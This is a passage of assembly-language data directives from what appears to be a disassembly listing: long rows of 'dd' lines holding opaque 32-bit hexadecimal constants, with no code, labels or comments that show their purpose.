		dd 243BC9D7h, 8F4F6B87h, 6C11596Ch, 1DF3F85Eh, 4F68D8Ah
		dd 351ACAB5h, 0DA6FC6A6h, 0E7448F3Bh, 0F7B8EC3h, 0ABC4728Eh
		dd 0B57F9EC2h, 0E894E1B5h, 36E6FE6Ch, 0F857AABBh, 1999F381h
		dd 11FE4F57h, 0FD6BB997h, 15C8E04Dh, 6978860Fh,	5E03AE78h
		dd 0D91342BCh, 541890DBh, 0C1CDE40h, 1502420Ch,	266D38C0h
		dd 36F9F900h, 6BA6F849h, 25D8ADCCh, 0EA76E910h,	0CCBB248Ah
		dd 0E795ABB5h, 1569F3Fh, 943199DEh, 0F9A01094h,	99229AB2h
		dd 0F95D1EE8h, 42822D52h, 5AF74149h, 3415C6C6h,	0BA6269BCh
		dd 0D7BDFF91h, 5C7C33C5h, 0A1C8F4B9h, 43861289h, 2CE31C7Ah
		dd 4BAC416Dh, 0C5343BA2h, 86F61C48h, 7D1ED782h,	75AA166Bh
		dd 7CA52B5Bh, 6E43043Fh, 67E18103h, 0B61BE918h,	22F24954h
		dd 0EDDBFC59h, 7F48004h, 0E39182D3h, 5AA53927h,	0E214530Bh
		dd 4126EE09h, 37F4AFFFh, 81417B8Ah, 0CC6C9D05h,	98DC7D2Eh
		dd 78570385h, 4B655BB9h, 79723D9Ah, 9F1D34EAh, 1FA34A70h
		dd 0B7D34305h, 8C198902h, 8FBBAD6Fh, 0F64CEC5Ah, 398AC576h
		dd 57B34AA9h, 4786CA78h, 0AA2A1843h, 20BFFD13h,	653177B9h
		dd 54D856D4h, 1DE5104Fh, 0DAE76965h, 268EA6EEh,	0CA3CB3EBh
		dd 2963077Eh, 3E2C1D95h, 1E384347h, 40612F4Dh, 0D3E5D6D7h
		dd 32A9867Ch, 79531F47h, 618A1EE3h, 3326E198h, 94BD2345h
		dd 83BA774Ch, 0D0EE81C3h, 10FAD836h, 0FDA41F5Dh, 5FED090Fh
		dd 0EF1B63D1h, 0E183E834h, 382D7EABh, 0E8F24C3Bh, 6DC52EDCh
		dd 5A919FB8h, 11C80238h, 60F3F8A8h, 0A91F1C5Fh,	6E481628h
		dd 0BD5B7EA2h, 3A48C6Dh, 8A64C4CEh, 0C25C7BFEh,	50C560FAh
		dd 93C4E9BEh, 0BCB7A3E0h, 467068F5h, 8B5874ABh,	4A902FCh
		dd 0E6E6EBE0h, 87499E48h, 0AD89F496h, 0ED2A5CECh, 1237C341h
		dd 11C56747h, 0CCA0BAFFh, 0CA09B459h, 9F3E0F78h, 0FEAF6BC7h
		dd 53404C7Ch, 994A2DCCh, 0E6C617A2h, 1DA36E3Eh,	481B06CFh
		dd 60210B91h, 0F0CA8B75h, 56ACE34Ch, 0F51FB5CEh, 8FA14A03h
		dd 0C6B7A76Ch, 0F8531EBBh, 5E14BD1Fh, 80592E13h, 0CE60DA84h
		dd 65257878h, 0D6C69965h, 0A699BEEEh, 4CA3483Dh, 0BCCF6BF7h
		dd 5490CE80h, 7EE89528h, 0E0C5AC56h, 3A57A9C5h,	0CEC2D386h
		dd 0E5D5E05Fh, 0EB74E90Ch, 0CC12468Eh, 145382BFh, 1B9197FCh
		dd 0F8B8A264h, 0D8904349h, 1AB9017h, 4A389980h,	0E4F7F1C9h
		dd 2BB2EF35h, 0DE457D3Eh, 32860935h, 55BCC776h,	0DE12DF5Ch
		dd 0FEB80B92h, 2DEE0704h, 6F1D6965h, 0BCA36DFCh, 86D2564Dh
		dd 98821C6Dh, 71E67458h, 511C5BE9h, 49263AA7h, 24BC7D6Ch
		dd 0BFCFBF3Fh, 779CA6ACh, 8B8610ABh, 4B9D977Ch,	6F7BDBC8h
		dd 7643537Bh, 0C531880Ah, 0A404C72h, 41C23CC7h,	0F98FADAAh
		dd 1A291148h, 0B7F9A5AAh, 0F7DF0DEh, 0D0409DCEh, 24AD2A85h
		dd 98B7B7DCh, 706A5EFAh, 35E2A0Bh, 19974F1Ch, 328A2D6Dh
		dd 62B86C79h, 5425E60Fh, 0FA47BE43h, 4DBCBA52h,	0A8ABCD8Eh
		dd 5FF2F157h, 968DD886h, 0EB272886h, 0FB38668h,	97E83833h
		dd 119B990Fh, 0AA1E0291h, 0B310C547h, 84FF1DF5h, 0C1EA7868h
		dd 0ADDF98A8h, 85DA2F55h, 39CDFA72h, 22AA1BF1h,	6DF93F70h
		dd 171A91F1h, 2AE3279h,	0BE72B5A1h, 3CB07004h, 0C7EF9301h
		dd 0D009849Ch, 180D81E7h, 0E556634Bh, 0E92A613Eh, 1DC63939h
		dd 9CC82F56h, 47B11D9Fh, 910C8741h, 68980AB1h, 32E077C0h
		dd 89F572E1h, 7E825A51h, 8037DB83h, 0F3B26B36h,	5A0D5478h
		dd 8D5979CBh, 0AB1EB4E9h, 612D1BA4h, 89F0E9C8h,	0DEACF8FCh
		dd 3EF85B99h, 1FCA9FA8h, 0C4B0DAFh, 38B1EB60h, 0EC88FB4h
		dd 5D80CCFAh, 82E71D43h, 14E18E47h, 0CE1F35h, 0A286FDDh
		dd 0A92B7670h, 0A7253F15h, 0FD572D0h, 0BFDABE03h, 0AB86B613h
		dd 0F368C87h, 1A3940Ch,	4705C7E4h, 67A3761Ah, 761389B5h
		dd 0A903B5BBh, 4D3D226Ah, 57A4B446h, 50AE58E4h,	8D642945h
		dd 76234197h, 0D3B3A7A4h, 0FBFF5397h, 8741A025h, 0C999628Ah
		dd 5243DB7Bh, 1E64057h,	0A1D7672Ah, 2A69F094h, 7B953C6Fh
		dd 0FF43DFEh, 6C82D77Fh, 32A247B0h, 0C00F862Fh,	8E0864B8h
		dd 80351E46h, 0BC63DC56h, 4E578D49h, 87746469h,	0FC57936h
		dd 8D316890h, 553512A0h, 9582766Ch, 2009CBB8h, 0CDBA2CC4h
		dd 0A862B1E2h, 0EF5CBEF9h, 0D93171AEh, 5720A31h, 766E826Ch
		dd 0EA53E356h, 91BCAEF6h, 9EE09698h, 0B85DCE8h,	25882924h
		dd 0EB613AEEh, 4CA6EBA0h, 0AEBF6734h, 26D613Bh,	32FDA262h
		dd 49011DABh, 4DE00C94h, 8324E95Dh, 385D92Bh, 5915BFEAh
		dd 0F21DB414h, 413C2BB6h, 12926333h, 4FA51F0Dh,	0AD386CDEh
		dd 342935FAh, 927B9785h, 92E0621Ch, 0F09A76h, 0D739C69Ah
		dd 27A7BC2Bh, 0D76CBE10h, 811A887Eh, 0F24630AAh, 0D8CCE3E2h
		dd 35CFB21Ah, 9734DC3h,	23F2EC1h, 333D128Fh, 115B51D4h
		dd 0C5D0272Eh, 0DB871390h, 17478024h, 1599698Ah, 0DDD2B9ECh
		dd 0C03CFC57h, 1284552Eh, 33EB2595h, 3B133147h,	0EBA58A9h
		dd 0D284F8A0h, 32873F3Ch, 0C02B83A7h, 8E7E647Ch, 6D951DA4h
		dd 5D2A9F1Ah, 0E2B91AFCh
		dd 0EBBF4488h, 4549F89Dh, 384368D4h, 0FDA2F2A7h, 0FC7E90E8h
		dd 60AE2F3Dh, 3745E536h, 246FB005h, 0D28EC894h,	72206791h
		dd 0FCA4F499h, 69E16F0Eh, 698C0D5Bh, 8461DD26h,	0F8E63202h
		dd 200519E1h, 51448324h, 0CB51CAD1h, 0A428FBCEh, 0B2889037h
		dd 0E28BC8ACh, 5803FF9Dh, 0F302EF0Bh, 0DDAA3B79h, 9499EBDAh
		dd 0F2FCA7F4h, 28F53F1Ah, 0F5AB9774h, 8DBBA6A3h, 0BC8A196Ah
		dd 0F0E7E54Eh, 0AB2D5E25h, 0F29917AEh, 0FA408278h, 0DD9A81E3h
		dd 20DB9BF3h, 0A6B0280Bh, 2A5C75D2h, 7D1A0815h,	813EF237h
		dd 98FB7760h, 0DDD36CBAh, 0D893CA17h, 0AB844AB1h, 5F0B7B8Dh
		dd 2E95C45Fh, 0D7AB60EBh, 0FE4A12B8h, 0D3C93997h, 34CD0DB9h
		dd 0EDB0A986h, 558EF20Dh, 9D3E7102h, 0C2D35FC2h, 98FECB80h
		dd 0DB05BC02h, 0EB1B413h, 3B0ABB3Fh, 6BF28499h,	2D055DA6h
		dd 13E36623h, 0CC3D2526h, 378C8C87h, 751DB02h, 1FD1E78Ah
		dd 0E3E48028h, 2DD1053Ch, 0D70493A7h, 1F69AE3Dh, 4E7A4CC2h
		dd 0C22FD3C7h, 0AA626CD2h, 453150B4h, 0DEF8E4F1h, 2960CA4h
		dd 893657F6h, 7E3B1CBDh, 848A69E8h, 810EEE43h, 9BFC18E5h
		dd 0E1577BD9h, 0FB5FEBFDh, 0EC284FC1h, 8D1DC4CEh, 0ADE1BC96h
		dd 0A3EC7148h, 0EE7DD7DEh, 0D99FFAE4h, 23F9351Ah, 0BEC059EBh
		dd 46A5B28Eh, 79940614h, 0A8BF431Fh, 97BBF682h,	93321F34h
		dd 0C2E16128h, 8D6967CAh, 57992F7Ch, 587EA84Fh,	108D9A0Ch
		dd 4AC2760Bh, 33B061EAh, 917EC0EDh, 37490B54h, 1B7EC77Bh
		dd 0DFF7FC82h, 0FBF51012h, 27225D02h, 0C6EE444Ah, 31C74F83h
		dd 0C49D389Ch, 453F37C3h, 694E86C0h, 0CBE5D113h, 5B15B56Dh
		dd 0ADDEB15h, 0DE0C9133h, 0BCDF393Ch, 54705B83h, 838F718h
		dd 3BC02CD7h, 0BD9AF38Ah, 0DEDA885Ch, 0D9E32AB2h, 0F2D26544h
		dd 3D320249h, 0CDF0B3ABh, 9D831B7Eh, 0ECBA6CCCh, 51BCE0C3h
		dd 0B691E8C2h, 0AD444670h, 0F161E0CAh, 0A5F500A4h, 0D9FEBD3h
		dd 0DC1D306Ah, 7CA87ED4h, 0B2A0C4B1h, 0F037EB29h, 3F3E0EDFh
		dd 7DA7182Ah, 900A03AFh, 1E0D953Ah, 0A422EE07h,	799F6088h
		dd 7DED1D3h, 0C7EA98C7h, 5A0D826h, 2C8ED2E8h, 80FD999Fh
		dd 8AFE88BDh, 849CADEBh, 963BF45Ch, 0DA544434h,	71612BBAh
		dd 0B719912Fh, 0FA4A24E7h, 0D3A693F2h, 0E5D2049h, 9957E1C4h
		dd 42C4EB9Ch, 2EA5EE3h,	8F23325Eh, 0A74B8A4Bh, 3B03CC14h
		dd 29CCC118h, 0D30731FAh, 0C2C5DE8Eh, 0C6842E2Ah, 0AD937DB6h
		dd 0D0AB18Fh, 0B8D13C79h, 5DFFA45Ah, 0A5010C48h, 90B54774h
		dd 0F18AA7E1h, 7AA3B9A6h, 0F965240Fh, 33E96921h, 2CAD175h
		dd 123580A0h, 0D51512C1h, 0D6F9FF0Ah, 0C31F289Eh, 0FACFA51Bh
		dd 910A8E8Bh, 28DF7971h, 0F298DCFh, 86CEA2Fh, 3C88C145h
		dd 384652A3h, 287D0840h, 1354B710h, 74C088DAh, 0D81FE0ACh
		dd 3A503E1Fh, 9D9A263Dh, 0DC045338h, 75096433h,	0D3835DE5h
		dd 17EF3D34h, 0A1654E18h, 76A84B64h, 0D93D62DDh, 93EE8D56h
		dd 0E6F8BB0h, 71CF704Fh, 9E3A6731h, 68724987h, 9B214311h
		dd 0DC302B91h, 0BEE3D4B9h, 0EE8FBBF9h, 92888A9Fh, 658BDC57h
		dd 19E2E46Eh, 0AD000A4Ch, 0B36078AFh, 0F4E5C8C5h, 305D461Ch
		dd 0AB0BCDF7h, 0A3DB1879h, 66868B19h, 4C1C007Ch, 6A855D4Fh
		dd 669F05E5h, 57BD2E42h, 782EAAF4h, 5D7C1250h, 0DA41B317h
		dd 447CDEE8h, 955FA24Ch, 0B645D67Ah, 39A6FDCAh,	951FB2FFh
		dd 2BCD9E67h, 0A3B0DC2Ah, 5DBB4845h, 0F9884FE4h, 3BEBEEF6h
		dd 2DD6C331h, 0FFADED37h, 0B77A3AEDh, 8AC927BEh, 0EADB437Bh
		dd 81E7947Dh, 0EC728BD0h, 0A31703A6h, 0E52F9DDh, 0AB13030Fh
		dd 0E6DA8EBEh, 0FA4B284h, 769B9ED4h, 0DAB63C2Dh, 0BFD0A455h
		dd 6CBEEF40h, 0BFE2CC89h, 80B32F2Ch, 7AB8C64h, 32071E3Ch
		dd 67BB2542h, 4F1C9BA6h, 37221245h, 5A60CF04h, 2852EC4Dh
		dd 3AC71784h, 497482D2h, 0DC8ED866h, 0D3E75A40h, 96DCAAF3h
		dd 17B7989Eh, 0C73A258Ah, 0BF31A00Ch, 0C885BE93h, 8277203Ch
		dd 99FD7F60h, 0A164E5DDh, 8082F6FBh, 9D771175h,	345F8C2Dh
		dd 0D0B99F7Fh, 0A86FC45Fh, 189BF5D7h, 0A572EF33h, 3C05E0F7h
		dd 1A92B644h, 0B4E17D88h, 0E646F8EDh, 4159E221h, 1A275349h
		dd 45A9DA00h, 780C3D51h, 151CD8F3h, 95E2310h, 3E6FE8Ch
		dd 0FA5DA70Eh, 2DB14A1Eh, 0C5B49ED6h, 2172854h,	5CC90976h
		dd 0A4CC7230h, 9DD1430Ch, 0E5984DCEh, 243483C0h, 0C37AE4BAh
		dd 9B12FEFEh, 8283F9CCh, 0C8B32B4Bh, 0FF378AAEh, 86D14CDEh
		dd 0B957DEE3h, 0F3D0BD73h, 0ED4FCE3Ch, 4AE50C4Ah, 5B2D7760h
		dd 5E9D27DBh, 4E849CCCh, 0D2EAD329h, 8A28BBAh, 88A2DA83h
		dd 0BFF72995h, 43373ECBh, 0FCA80ECCh, 0F6BCB2AFh, 0EED7C2BCh
		dd 0D9655823h, 30B1985Fh, 78C90439h, 0AF2E9DBDh, 0CAF223E4h
		dd 8DBD6641h, 837921D1h, 7A996A05h, 877FDF8Ch, 5B8C1865h
		dd 0F3178711h, 0F1457E55h, 3BBE4DCBh, 764BA9FDh, 0A94B0C70h
		dd 0D82705Dh, 18827771h, 0D9A32EC8h, 380508C7h,	0F97F50FEh
		dd 105466E4h, 88E847CBh, 0E0E8746Ch, 0FD0027E3h, 9FF1D28h
		dd 0BFD5254Ch, 0BB3BE397h, 2055D868h, 0CCE79DF8h, 83D49F8Fh
		dd 89A61D8Bh, 33A0630Bh, 46359DF0h, 2FE49810h, 9228F731h
		dd 0D7D4ED7Fh, 93929C1Ah, 18D858DEh, 0D00E312h,	0D7F79228h
		dd 0A60DB837h, 73F11A01h, 1DD4ACC9h, 133C407Bh,	0A0C866A9h
		dd 0EB9489BEh, 953ADF3Ch, 0A6A6033h, 9E88CBD8h,	0C628D118h
		dd 0BF04E132h, 0AE2A29CAh, 8BE77B27h, 8128F368h, 0F3445EDFh
		dd 49D56334h, 7295C3EFh, 6A37B60Dh, 0A83693AAh,	0DFFAA4DCh
		dd 238C88CBh, 0BC8DBB8h, 27038688h, 39653CA3h, 9A890922h
		dd 66E0856Eh, 0C318D178h, 83AE43BCh, 1AA2ED5Eh,	44BAE4CCh
		dd 0A579BFA2h, 96ED20EFh, 0BF7B0EC6h, 53ED09B4h, 5D8BF589h
		dd 2D8DF609h, 0A95E4C0Dh, 1949337Bh, 4A927746h,	87867653h
		dd 2E207D30h, 0F882A921h, 48A15A66h, 81A102BEh,	704F83h
		dd 6E3C66DFh, 3B988h, 2F8296ECh, 0BAA58C19h, 0C20C530Fh
		dd 89B6667Ch, 6EE7933h,	0EC098D80h, 0A6BA2ACDh,	264FE693h
		dd 0AAE13CFFh, 0DCBA503h, 9D6632D4h, 0CA6C8D93h, 83CCA8B8h
		dd 0D1EC5E73h, 0C40E18EAh, 0CE511516h, 0B7066C61h, 7EC47DF6h
		dd 81714CC4h, 471C3881h, 15A6A5D2h, 67FD16A6h, 6BA84048h
		dd 6835324Dh, 99A50177h, 6458575Bh, 0EF8427EBh,	0B889225Ch
		dd 8E051876h, 0A73A77DEh, 70E2F858h, 0F1239B3Ch, 315672DEh
		dd 0FDE13272h, 0FB620E38h, 385378EEh, 7FA29339h, 4D88405Ah
		dd 3C4C0F0Fh, 5AEF67F9h, 3CAD3FD1h, 6B62946h, 7D91A578h
		dd 0E83031A4h, 0F72C01B2h, 0BF6A28Ah, 0D96D2B25h, 42124EA3h
		dd 4C38D3F9h, 0FDA36D16h, 0A966884Bh, 9262E98Ch, 367D4769h
		dd 605A00E8h, 4D24C23Ch, 0B761B795h, 8F8AD147h,	9BFD37F2h
		dd 18BB1446h, 5E6ED2B9h, 0FC3CF0DFh, 979741ECh,	49390BDBh
		dd 0BDA34244h, 16613977h, 0F71AF712h, 66FF51E8h, 4F5E61DDh
		dd 8879763Fh, 0BC30E857h, 0D3A8B27Eh, 2DFC17EDh, 3F0AF48Ch
		dd 0AE46BCC3h, 0AD9C7F4Eh, 2D66A2C0h, 1B2882C9h, 9DF4D018h
		dd 26E088Eh, 0BE12FE68h, 0A3786BD2h, 8ABB3025h,	32D7107Ch
		dd 0F3E37E22h, 93F55E63h, 0EA09E179h, 20E484Bh,	78C3C484h
		dd 1049FC0Eh, 0B8E34426h, 0A2618B95h, 0C3B43AB1h, 7E0F33C9h
		dd 8E2B2B13h, 8D26A43Fh, 0E4E2FB2h, 693C7E20h, 0AB5C515Dh
		dd 992AE61Eh, 43FD12C5h
		dd 0E142840Ch, 1B80C6C9h, 0A48BBE5Dh, 0F6C9E5B7h, 3EBEBF16h
		dd 0A1E05624h, 0D5F1C4E1h, 417146CDh, 0A2DC8C9Ah, 92C77EDCh
		dd 755CC04Dh, 0E3795ADCh, 6C92F5Fh, 8986D53h, 0B72ACA84h
		dd 0FCF6A9BEh, 0C894D978h, 5C6D448Dh, 81454690h, 402FBBDDh
		dd 0CF046150h, 0B6685287h, 0D05010F5h, 97DF39A3h, 89DA06A7h
		dd 8C80E723h, 0D773E0C0h, 8DE26940h, 603F0B3h, 81DEE7Bh
		dd 4288FB3Fh, 8CA8392Ch, 0C34DD1D5h, 7472FC0Ah,	4451C2F9h
		dd 745210F0h, 9BFC5C00h, 0E2232879h, 0C91C80A7h, 6266B26Eh
		dd 0E51E4DFFh, 0BD1B3A9Dh, 9A73D36Fh, 58711A9Dh, 87CD947Eh
		dd 2C997BB8h, 564C2E06h, 0AAC7EC9Dh, 17E77432h,	0BE7536BEh
		dd 81740FBBh, 974CE82Fh, 661AA111h, 70B9C59Fh, 1532FB5Bh
		dd 859BAB8Dh, 0CFE4B1F7h, 40C20917h, 0FFE6C2FFh, 89BED8D9h
		dd 92C760Dh, 7EE471E4h,	0A035E7B7h, 0D19CF6DDh,	0CBFA8DFAh
		dd 0AD7B3949h, 5C782482h, 4080BB50h, 0EDA9C7A9h, 9C1FA964h
		dd 3E19361Ch, 5EC801F6h, 0E903D084h, 0B4CE9200h, 0BADD2FB9h
		dd 143DB1DCh, 0BBFC3F06h, 2C466AEEh, 0F2F088F4h, 0E4E296ADh
		dd 329DF63Ah, 2E2373E7h, 81662710h, 4B65209Ah, 7359CD51h
		dd 910C33F2h, 0B04E0074h, 87C63163h, 537882C7h,	3E36DACCh
		dd 961F560h, 0FB71C0FFh, 7830B8Bh, 0F70AF9DCh, 363FFCF1h
		dd 27733E21h, 5FCFF4ECh, 924CF7Eh, 0E9A1439Dh, 7D9E80E2h
		dd 8EF4FDDAh, 9CB9922h,	7B79CAACh, 3A11E69Fh, 5B0FDB94h
		dd 5A7CDA68h, 1D01E924h, 0D3ED187Dh, 488F95DCh,	2FFD15A0h
		dd 0B1472F6Fh, 0F1AAC492h, 0B0585542h, 0F108CEB3h, 0AEC5F482h
		dd 6B243F50h, 412BE965h, 38BC8A26h, 6759B295h, 0CD12E8B9h
		dd 7607D2C7h, 44C66712h, 0B9109941h, 91BE80FFh,	37D63400h
		dd 18E9C926h, 0A9FA16A2h, 0EFC3A49Bh, 5F663117h, 88470AA6h
		dd 45E063Ah, 0EAA1C12Fh, 452A47E1h, 0E61022E1h,	58E5FAD5h
		dd 0B0811A3h, 0F2CC6DA2h, 926AF1Bh, 0A415F4A5h,	0E18FADCh
		dd 0C075C5C0h, 20AA50EEh, 0BB343F3Ch, 4B758FDEh, 0DB9FE9C9h
		dd 5DC647F5h, 0D0C48A8Ch, 0A720ABA2h, 86062BAEh, 98335A02h
		dd 28B97873h, 0FE0BBED5h, 4165EBD6h, 0DB9174ACh, 0BED4A2DCh
		dd 180565F2h, 1E7632C0h, 8B9953Dh, 0C260131Eh, 8E3DD52Ch
		dd 0B4203135h, 75D3F47Ch, 8424B2B4h, 9AB1656h, 693EE4E2h
		dd 90DAA57Ah, 941CC045h, 24196E15h, 55985BF1h, 628B1DEEh
		dd 0B7861053h, 6ED0F680h, 0CCED7DBDh, 0B79478Ah, 0C19D3A5Ah
		dd 566DE183h, 32A4731Ah, 0FFD5C171h, 0A9FAEC84h, 0E6A5B8BCh
		dd 903F26E8h, 849B68B1h, 386B5A05h, 0ED28B5F2h,	7623FE75h
		dd 92C4D41Fh, 97268DFCh, 9C5C916h, 8D24B41Ch, 0C0DA78A1h
		dd 0D675C360h, 0D98FB309h, 1591085h, 8CFEB9C8h,	248DF86Bh
		dd 0FA0002D0h, 38FF9A4Dh, 0EE0B8F50h, 94A1859Ch, 0A118C937h
		dd 0A8EA1E99h, 0D50E095Eh, 7C32324Ch, 612D5ECFh, 0C1A7EE83h
		dd 0E2D7BF85h, 1946634h, 9362FE15h, 0F42C60Eh, 0AD8EA564h
		dd 71AE5497h, 5CBB3351h, 8C5CFCC1h, 8EF1C5F3h, 884D2D0Eh
		dd 0E7DD0EAFh, 31B377A1h, 86F7094h, 0A46046D4h,	207F2AB4h
		dd 0E20613B3h, 1EC89D62h, 0C97F64AEh, 27F1F5E1h, 60C02E15h
		dd 108810ACh, 4F392660h, 0DD5717A7h, 0D714F5B3h, 5343BF35h
		dd 136DC0Bh, 20BE1E71h,	0BDE52E9Eh, 0B9B4C1B3h,	0C5CBA4E8h
		dd 0C74E1960h, 72D7D7A6h, 3D60BBBCh, 0B3D5CE3Dh, 0A5722F3Bh
		dd 42A440BFh, 972E5B4Dh, 940E2E5Fh, 3365A3B9h, 0D34148EBh
		dd 0C75F748Dh, 0EAB4CD79h, 0F44BBA10h, 3816DD50h, 80CCCC6Ah
		dd 852435ABh, 7EB28CD4h, 0DB6DDDB7h, 0EACF3B94h, 0EC216B09h
		dd 933A15AFh, 0DA079D14h, 76706E70h, 815965CBh,	2A802CD5h
		dd 0A5CE0C8Ah, 0E9B55585h, 2A7A1608h, 0E663B133h, 11A3ED0Eh
		dd 5C85A6A1h, 0F5B02444h, 0B4E2172Ch, 0CBA1611Eh, 249F8D56h
		dd 844A60Ch, 0B19C5915h, 0C1BAA159h, 5E95EDFDh,	0E4172088h
		dd 0F5547Bh, 0F0070E94h, 6D119286h, 0CD4AE6E5h,	0D754A00Ah
		dd 94CEEA81h, 0DF33DF8Ch, 0A695806h, 0E9A672E3h, 518E6C2Bh
		dd 1E8DD4A8h, 491F7BE4h, 8A1B0C0Bh, 71DC5405h, 5C2DEF97h
		dd 0EED6C99Bh, 7169D87Bh, 8F8E416h, 1B4371B8h, 0FFB2AC0Eh
		dd 0BB1ED003h, 0AAE9CBBEh, 94A4DDB2h, 0B4D391E6h, 0E87CE4B8h
		dd 0CB811B45h, 0E2663B0Ah, 0BF8F0A5Ah, 0B0E32C93h, 961A1DB3h
		dd 6AAAE1EBh, 5073D7BFh, 976EF63Bh, 9400ED5Bh, 0D41FCE9h
		dd 47007095h, 27B8A3F8h, 0ED41F8F5h, 4C1850B6h,	2C2E4B5h
		dd 7EB5BB77h, 9CFE256Ah, 0A0044D57h, 0D6B01168h, 0D8DBE454h
		dd 44161CFDh, 300C063h,	876C18C4h, 69642C14h, 4221D236h
		dd 0DE1AA05Dh, 0EE98351Ah, 0A6273E92h, 0B28F94F9h, 0D6E6ECD7h
		dd 0D7B4D9ACh, 0DA5BC2h, 219DC956h, 0F4E08386h,	9BA48D9Ch
		dd 0F8BE211Eh, 930881FAh, 5D85F9F6h, 7D35448Ah,	5E2B4F4Eh
		dd 8F779F4Eh, 0DD258370h, 27467923h, 0BDEC3939h, 0D7B0F6C1h
		dd 0DD6CE28Ch, 8348B8DEh, 1AACE853h, 0F27C8E09h, 4F124F2Bh
		dd 0EE4EB887h, 0A7E7CC9Dh, 30512FC5h, 302C1254h, 0E3DE2164h
		dd 0C6465C20h, 0E6F21293h, 2DCF62ABh, 36AE77CEh, 2C177E73h
		dd 9620D640h, 0FA3CE588h, 328E3FE6h, 238954FCh,	0D7AE83Dh
		dd 9E825B4Eh, 62E538Ah,	6A87563Ah, 1E84ACCAh, 0C5A6E66Ah
		dd 31ACE7A1h, 69EAFBC5h, 959ACE6Bh, 3B658022h, 82742C97h
		dd 287A813Eh, 0D198259Ah, 77B947B5h, 5D289BFCh,	0F34CB9Ah
		dd 2D2817EDh, 0AA37F02Eh, 62D5F233h, 0C82C93B4h, 1D22F33Eh
		dd 4DBF2C98h, 0FB417D73h, 5DB5DF50h, 0B3B1ADA8h, 30E819FCh
		dd 5CB2841Dh, 107E5C2Ah, 0EAB38687h, 0EA0AC50Ah, 14B2FBACh
		dd 0B3E72A2Eh, 0A690808h, 0CCAC6DC6h, 9380C2D1h, 0E29CA51Eh
		dd 3E00AB63h, 221D80CEh, 0F151B09Bh, 0DC644DABh, 0FF939EACh
		dd 0BC6F78Ch, 3A449EB3h, 8CADD61Ah, 0EF898025h,	0B46863FBh
		dd 775B825Fh, 0A2048057h, 8D036CC7h, 485EBF35h,	83D04AECh
		dd 17DE2F17h, 1CA8D82Ah, 0C47E562Ah, 0E78A98FAh, 0BBB0161Eh
		dd 520168C9h, 7D4BA433h, 11A4322Eh, 4F927Bh, 9807E3E0h
		dd 32CF8989h, 405AADECh, 6277816Dh, 0DC3E2ADh, 0DEC2DA8Eh
		dd 74F2E477h, 1CE617BDh, 0E0522E1Ah, 774EB6E3h,	97B4FB55h
		dd 0ECA605EAh, 923826AFh, 0EE8BBB50h, 6D8F2656h, 43E8C22Ah
		dd 99FE8662h, 638337B9h, 6F24011Dh, 8B0D8561h, 0D357C892h
		dd 0D3D76C54h, 23CDE5ACh, 0E8BC9F9Ch, 5123F766h, 0DDC8EA01h
		dd 9CFFD2B6h, 19D3107Bh, 484612A4h, 4BCDA928h, 16F3A02Ch
		dd 5A96605Dh, 5DA37AA8h, 68E6602h, 0DDCAF590h, 0BDBC9AE6h
		dd 6EF2DA09h, 0FC6E9906h, 0EBE50E63h, 91665570h, 0E71866AAh
		dd 31D28AD4h, 71A64899h, 0BAA54BA0h, 0CBB90CDh,	64363326h
		dd 92C40074h, 0DBADE647h, 392EF1FDh, 0AB981D72h, 0F1E05B43h
		dd 4F29BB25h, 79D27332h, 245E6EC1h, 0ACC4C578h,	1A4FD47Dh
		dd 1DA0060Ch, 46A6CC23h, 0A40DD787h, 19FF21D8h,	4C6386A3h
		dd 5B243AAFh, 0FDAECF49h, 0A16BA3DAh, 0F812C756h, 204B7DA1h
		dd 0EBE6AAEAh, 53946B14h, 0D626B3D4h, 46607D65h, 0CB960041h
		dd 5499D77Eh, 78A74B5Ch, 0BE333962h, 51763F11h,	0E00052BCh
		dd 0E97D6559h, 246B9595h, 65FCAFDEh, 77C597C6h,	6D4F30F7h
		dd 0CEB030DDh, 12D7D0E6h, 0C1B31381h, 0C1AFADFDh, 94B41EE8h
		dd 7F6A89D7h, 0CFF0D986h
		dd 0CDEA3B11h, 9D3F848Ch, 0B86D6308h, 0BC6FD675h, 2296AFC2h
		dd 345E9613h, 60FBC591h, 1692FC70h, 0EDA176A4h,	6BF1DEF5h
		dd 0D57577B5h, 52D9502Ah, 5ADE570Ah, 8E5B2979h,	90E9026Eh
		dd 87CA554Eh, 38EB9B69h, 7B6D0820h, 394A030h, 413A901Ch
		dd 0ECCEF5D7h, 5B2E3F06h, 0F92D5FD8h, 6A67958Eh, 4F85FE3Bh
		dd 5378C77Bh, 77065DFFh, 8A7F2573h, 368511F2h, 7B3F2CEBh
		dd 0D7A0796Bh, 55D90305h, 0C0461F2Eh, 5900A1A5h, 0A371DF86h
		dd 17399641h, 696E1B7Ch, 2FEF4823h, 0E01B293Eh,	0A92327D2h
		dd 7238B80Bh, 74D4A2F8h, 0E4DD5EF1h, 0D59DCD11h, 0DAFF29DBh
		dd 43A7A08h, 19CC639Ah,	71529660h, 0AE2D74D8h, 4B4B7395h
		dd 99FA3333h, 0A50D2068h, 9B425DA0h, 681DF7Bh, 43344FA7h
		dd 58FF6B30h, 10BA52CEh, 0F64632CCh, 932BDEBEh,	2A2D03C3h
		dd 11FE3CCEh, 0F660E15Eh, 0B274EEE6h, 309D1DAEh, 5B023649h
		dd 48BB3DFAh, 81E37B1Dh, 302EDA75h, 64F629C8h, 96EA2C11h
		dd 0C09560A6h, 3683FF4Eh, 4683618Ah, 0FF93504Dh, 0FF7BB04Dh
		dd 0D7AEBC1h, 0A56576EAh, 4D452547h, 10055D1Ch,	78B84551h
		dd 0E369BA9Eh, 0E1504BA5h, 0F4189251h, 0D5C48523h, 6AA3DE69h
		dd 492EE02Dh, 0A6D2DB7Ch, 6C10A032h, 0C9EBF2FCh, 5016850Fh
		dd 7D6565E3h, 0C97F3E8Ah, 0DE6ECCCFh, 0B201D3F9h, 2FBAB217h
		dd 0D997950Dh, 864E3F24h, 9BDDAE7Eh, 24F32741h,	7A7A2FFDh
		dd 0F71B2D54h, 4B3BE0DCh, 12CCE9B5h, 6A3BD01h, 9D4287EBh
		dd 2C8F5FEh, 30D65E05h,	462D97E2h, 0F0D3883Fh, 81CB1DF7h
		dd 746F71h, 20A49C24h, 47FBC03Dh, 0F44F45DFh, 9097C319h
		dd 9266D468h, 0D97D2B75h, 568CB521h, 4AF8B72Ah,	1B3FC085h
		dd 0ED1F42ACh, 724736C1h, 1037AD94h, 0C1749ACBh, 8FA9DAA5h
		dd 0D3D25B5h, 0FF560EFh, 0B5EF114Fh, 36E101E2h,	14D267FAh
		dd 9B4F65F6h, 5D615EA4h, 68D62859h, 90B0FF93h, 0C39D7726h
